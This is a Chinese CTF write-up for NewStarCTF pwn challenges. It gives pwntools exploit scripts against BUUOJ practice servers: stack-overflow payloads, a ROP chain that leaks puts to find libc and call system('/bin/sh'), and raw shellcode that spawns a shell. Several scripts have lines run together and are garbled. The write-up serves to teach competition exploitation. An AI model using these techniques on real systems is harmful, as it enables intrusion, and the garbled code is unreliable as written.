NewStarCTF 公开赛wp

ret2text
calc
ret2libc
ret2shellcode

ret2text

这里有个栈溢出，话不多说，上脚本。

from pwn import *
p=remote('node4.buuoj.cn',26128)
# p=process('./node4.buuoj.cn:25505')
payload=b'a'*0x20+p64(0xdeadbeef)+p64(0x00000400708)
p.sendlineafter('Welcome!May I have your name?\n',payload)
p.interactive()

calc

代码意思就是直接就是计算100次数据然后得到shell,你需要做的就是写个脚本计算这100次运算。

from pwn import *
context.log_level='debug'
p=remote('node4.buuoj.cn',25181)
# p=process('./pwn')
lg = lambda s            : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
def dbg():gdb.attach(p)pause()
result=0
for i in range(100):p.recvuntil("What's the answer? ")num1=int(p.recvuntil(b' ',drop=True))char=p.recvuntil(b' ',drop=True)num2=int(p.recvuntil(b' ',drop=True))if char=='x':result=num1*num2elif char=='+':result=num1+num2elif char=='-':result=num1-num2elif char=='/':result=num1/num2# lg('result')# print num1# print(char) # print num2p.recvuntil('= what?\n',drop=True)p.sendline(str(result))# p.recvline()
# s=[num1 ,char ,num2]# result=exec('num1 char num2')
# # # print result
# p.sendline(result)
p.interactive()

ret2libc

栈溢出，但是没有后门函数，但是给了libc,于是就是ret2libc。

# from LibcSearcher import *
context.log_level='debug'
# p=process('./pwn')
p=remote('node4.buuoj.cn',28744)
def dbg():gdb.attach(p)pause()
elf=ELF('./pwn')
libc=ELF('./libc-2.31.so')
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
lg = lambda s            : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
mainaddr=0x00400698
pop_rdi=0x0000000000400753
ret=0x000000000040050e
payload=b'a'*0x20+p64(0xdeadbeef)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(mainaddr)
p.sendlineafter('Glad to meet you again!What u bring to me this time?',payload)
p.recvuntil('Ok.See you!\n')
putsaddr=u64(p.recv(6).ljust(8, "\x00"))
lg('putsaddr')
# dbg()
# libc = LibcSearcher("puts", putsaddr)
# offset=0x84420
libcbase = putsaddr - libc.symbols['puts']
system = libcbase + libc.symbols["system"]
bin_sh = next(libc.search(b"/bin/sh\x00"))+libcbase
lg('libcbase')
lg('system')
lg('bin_sh')
# dbg()
payload=b'a'*0x20+p64(0xdeadbeef)+p64(ret)+ p64(pop_rdi)+ p64(bin_sh)+p64(system)
# payload=b'a'*0x20+p64(0xdeadbeef)+p64(system)+p64(1)+ p64(bin_sh)
# payload=b'a'*0x20+p64(0xdeadbeef)+ p64(0xe3cf9+offset)p.sendlineafter('Glad to meet you again!What u bring to me this time?',payload)p.interactive()

ret2shellcode

又是栈溢出，顾题思议，ret2shellcode呗。

port imp
from pwn import *
context.log_level='debug'
p=remote('node4.buuoj.cn',29095)
# p=process('./pwn')
shellcode="\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
p.sendlineafter('Hello my friend.Any gift for me?\n',shellcode)
payload=b'a'*0x30+p64(0)+p64(0x233000)
p.sendlineafter('Anything else?\n',payload)
p.interactive()

NewStarCTF 公开赛wp相关推荐

2022 七校联合NewStarCTF 公开赛赛道 WEEK3|MISC
1.Whats HTTP 2.qsdz's girlfriend 3 3.WebShell! hint提示蚁剑,根据流量包大小排序,逐个打开看 4.Yesec no drumsticks 3 压缩包第 ...
七校联合NewStarCTF 公开赛赛道WEEK2 web wp
也不知道是不是公开赛和内部赛是不是同一套题,week1的题挺简单的这里小记一下week2的题目如有侵权立刻删除 Word-For-You(2 Gen) 这题很简单就带过一下吧,报错注入就行 1'| ...
NewStarCTF公开赛week2密码学题目wp
文章目录前言一.unusual_base 1.分析 2.解题脚本二.Affine 1.分析 2.解题脚本三.robot 1.分析 2.解题脚本四.ezPRNG 1.分析 2.解密脚本五.e ...
BUUCTF NewStarCTF 公开赛赛道Week3 Writeup
文章目录 WEEK3 MISC Whats HTTP WebShell! qsdz's girlfriend 3 Yesec no drumsticks 3 混沌的图像 WEB BabySSTI_On ...
2022 七校联合NewStarCTF 公开赛赛道 WEEK2|MISC
1.Yesec no drumsticks 2 2.Coldwinds's Desktop gaps,多更换几组参数,得到三张不同的图片通过观察三张图片,猜出flag flag{Y0u_suc ...
NewStarCTF 公开赛赛道第二周学习记录
额..又是我哦,这次难度对于我来说有点高,一共就做出来这几个,属实有点少,作为菜鸡的我来给大家讲讲我的思路.... CRYPTO 一个还没做出来,还正在研究 MISC Yesec no drumsti ...
CTF之旅WEB篇(4)--NewStarCTF 公开赛IncludeOne详解
前言: 在看这篇wp之前首先我们要了解文件包含,php伪协议读取,rot13编码,其具体含义即用法自行上网搜索,在文中不做进一步解释. 一.审题扔给了我们一个道具?暂时还不知道这是要干嘛,所以我们进 ...
NewStarCTF 公开赛赛道
HTTP 跟着提示一步一步走. Head?Header! 同样是跟着提示. NotPHP <?php error_reporting(0); highlight_file(__FILE__); ...
NewStarCTF 公开赛赛道 WEEK2 pwn 砍一刀
64位的,保护机制 ida打开,简单的分析下程序流程,让你输入2次回车,一次666,再一次回车进入getcard函数,期间有时间间隔此函数就是输入19次回车后v1==999,进入if后会有随机数, ...
NewStarCTF 公开赛赛道-WEEK1|REVERSE
目录 Hello_Reverse Baby_Re Pyre EasyRe 艾克体悟题 Hello_Reverse 打开ida,shift+f12查看字符串就可以看到flag: 这段数据很可疑: c=[ ...

NewStarCTF 公开赛wp

NewStarCTF 公开赛wp

ret2text

calc

ret2libc

ret2shellcode

NewStarCTF 公开赛wp相关推荐

最新文章

热门文章